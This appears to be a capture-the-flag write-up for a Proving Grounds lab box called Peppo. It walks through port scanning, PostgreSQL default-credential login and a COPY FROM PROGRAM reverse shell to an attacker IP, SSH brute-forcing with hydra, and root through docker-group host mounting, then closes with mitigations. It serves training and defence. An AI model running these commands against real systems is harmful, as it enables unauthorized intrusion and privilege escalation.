Post

Peppo

Peppo

Introduction

In this walkthrough we will be solving Proving Grounds Hard Windows box Peppo. Let’s start ..

Nmap

TCP

Run a quick Nmap TCP scan:

1
sudo nmap -sV $IP --open 

image.png

UDP

Check top 100 UDP ports:

1
sudo nmap -sU -F $IP

image.png

Full Port Scan

1
sudo nmap -sV -sC -p- $IP -Pn -n -v --open

Services

Port 22

We usually skip SSH.

Port 113

FreeBSD identd

  • ident-user-enum

    1
    
      ident-user-enum $IP 22 113 5432 8080 10000
    

    image.png

Port 5432

PostgreSQL DB 9.6.0 or later

Hacktricks PostgreSQL

  • Public Exploits

    1
    
      searchsploit postgresql 9.6
    

    PostgreSQL 9.6.1 RCE

    image.png

    Public exploit didn’t work.

  • Authentication

    1
    
      psql -h $IP -U postgres
    

    I used default credentials postgres:postgres and was able to login:

    image.png

  • Dumping hashes

    1
    
      SELECT usename, passwd FROM pg_shadow;
    

    image.png

    image.png

    it just returns authentication information of users to PostgreSQL service.

  • Command Execution

    1
    
      COPY kashz FROM PROGRAM "bash -c 'bash -i >& /dev/tcp/192.168.45.191/80 0>&1'"; SELECT * FROM kashz;
    

    COPY command execution

    I got a connection as postgres user.

    image.png

  • Version

    image.png

    The version is 12, that explains why RCE didn’t work.

    PG_VERSION=12.3-1.pgdg100+1

    I cannot find local.txt:

    1
    
      find / -name local.txt &>/dev/null
    

Port 10000

image.png

  • Accessing the web page it just shows:

    image.png

  • Directory Fuzzing

    No result

  • Webmin RCE

    Webmin

    No result.

  • NDMP

    NDMP

    No result.

Web

Port 8080

image.png

  • Public exploits

    1
    
      searchsploit Redmine
    

    image.png

    1
    
      searchsploit WEBrick
    

    WeBrick exploit

    image.png

  • Default credentials

    image.png

It didn’t allow me to do anything without changing a password so I changed it to password.

image.png

It shows us under the settings that Host name and path is localhost:3000, but it should have had port 8080, there is something weird happening here, as in the example even it is shown as IP:8080, maybe this service is run in the container or something similar. Let’s check this assumption with our shell as postgres:

The most important indicator is /.dockerenv file if it exists then we are in a container.

1
[ -f /.dockerenv ] && echo "Inside a Docker container" || echo "Not in a container”

image.png

So have containers.

Loot

  • eleanor (port 10000)

Exploitation

From the Loot and identd user enum and nmap scan output we have user eleanor, we should brute-force her password, with hydra, first let’s make smart-wordlist for eleanor. The box is created in 2020 summer so I am gonna use 2020:

1
2
3
4
5
6
7
8
9
10
11
12
eleanor
ronaele
peppo
oppep
summer2020
Summer2020
Summer2020!
summer2020!
summer2020@
Summer2020@
root
toor

Let’s brute-force ssh with hydra:

1
hydra -l eleanor -P password.list $IP ssh

That’s it we got a hit!

image.png

eleanor:eleanor

Credentials

1
eleanor:eleanor

We are in a restricted shell, we should escape it, listing bin directory we see one unusual binary to see ed, it turns out it is a text editor. In GTFOBins we not only can leverage sudo | SUID privileges and properties of binaries but also it display possible ways to escape restricted shells, so lets’ check it.

image.png

First let’s make shell robust:

1
/usr/bin/python -c 'import pty; pty.spawn("/bin/bash")'

After that fix PATH:

1
export PATH=$PATH:/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

image.png

We are a member of quite a lot of groups, but most important for us now is Docker. We were indeed in a docker container let’s list docker containers on a host .

1
docker ps

image.png

this shows exactly 2 containers that we met before.

Privilege Escalation

  • Situational awareness
  • Exposed Confidential Information
  • Password Authentication Abuse
  • Hunting Sensitive Information
  • Sudo
  • SUID/SGID
  • Capabilities
  • Cron Jobs Abuse
  • Kernel Exploits
  • Check if sudoers file is writable

Placing a user in the docker group is essentially equivalent to root level access to the file system without requiring a password.

1
docker ps

image.png

1
2
3
name:ID
postgres:326cfee15738
redmine:71aa857fe988

Let’s inspect which folders are mounted in container from host:

1
docker inspect 326cfee15738 | grep -A 10 '"Mounts"’

image.png No mounted direstory path

I got the same result from redmine container. If either one would have had /root or / directories mounted, it would be easier as we could access hosts’ / and /root directories.

Volume: A Docker-managed storage area, stored on the host (typically under /var/lib/docker/volumes/). Docker handles the location and lifecycle, making it more portable and easier to manage across systems. Volumes are ideal for persistent data like databases.

I tried mounting / folder but it hanged a lot, then I searched docker in Docker, and used provided command with existing container.

1
docker run -v /:/mnt -it redmine

It would mount host’s / directory to container’s /mnt directory where we will be able access host’s / directory easily.

1
docker run -v /:/mnt --rm -it <container-name> chroot /mnt sh
  • docker run: Starts a new container from the specified image.
  • v /:/mnt: Creates a bind mount, mapping the host’s root directory (/) to the /mnt directory inside the container. This means the container can access the entire host filesystem via /mnt.
  • -rm: Automatically removes the container after it exits, so it doesn’t persist.
  • i: Runs the container in interactive mode (keeps STDIN open).
  • t: Allocates a pseudo-TTY (terminal) for an interactive shell.
  • chroot /mnt: Changes the root directory of the container’s process to /mnt (which is the host’s / due to the bind mount). This effectively makes the host’s filesystem the new root filesystem for the process, so paths like /bin will refer to the host’s /bin, not the container’s.
  • sh: Runs the sh shell (Bourne shell or a symlink to another shell like bash) in the new chroot environment.

image.png

Now we are root!

Mitigation

  • Disable Default Credentials: The use of default credentials (postgres:postgres and eleanor:eleanor) enabled unauthorized access. All default credentials should be changed during initial setup.
  • Restrict Docker Group Access: Membership in the docker group effectively grants root-level access. Only trusted administrative users should be part of this group.
  • Isolate Containers Properly: The PostgreSQL and Redmine services were running inside containers but were accessible from the host, and the container had full root access to the host file system. Avoid mounting the entire host file system (/) into containers and use container isolation best practices.
  • Limit Command Execution via PostgreSQL: PostgreSQL’s COPY command can be used for command execution when configured insecurely. Limit superuser access, and avoid allowing shell access through database functions.
  • Harden Restricted Shells: The restricted shell used for eleanor was easily bypassed using the ed binary. Remove or restrict such escape-capable binaries and enforce proper shell restrictions.
  • Firewall Unnecessary Ports: The identd (113) service provided unnecessary user enumeration opportunities. Disable or firewall unused ports and services to reduce the attack surface.
This post is licensed under CC BY 4.0 by the author.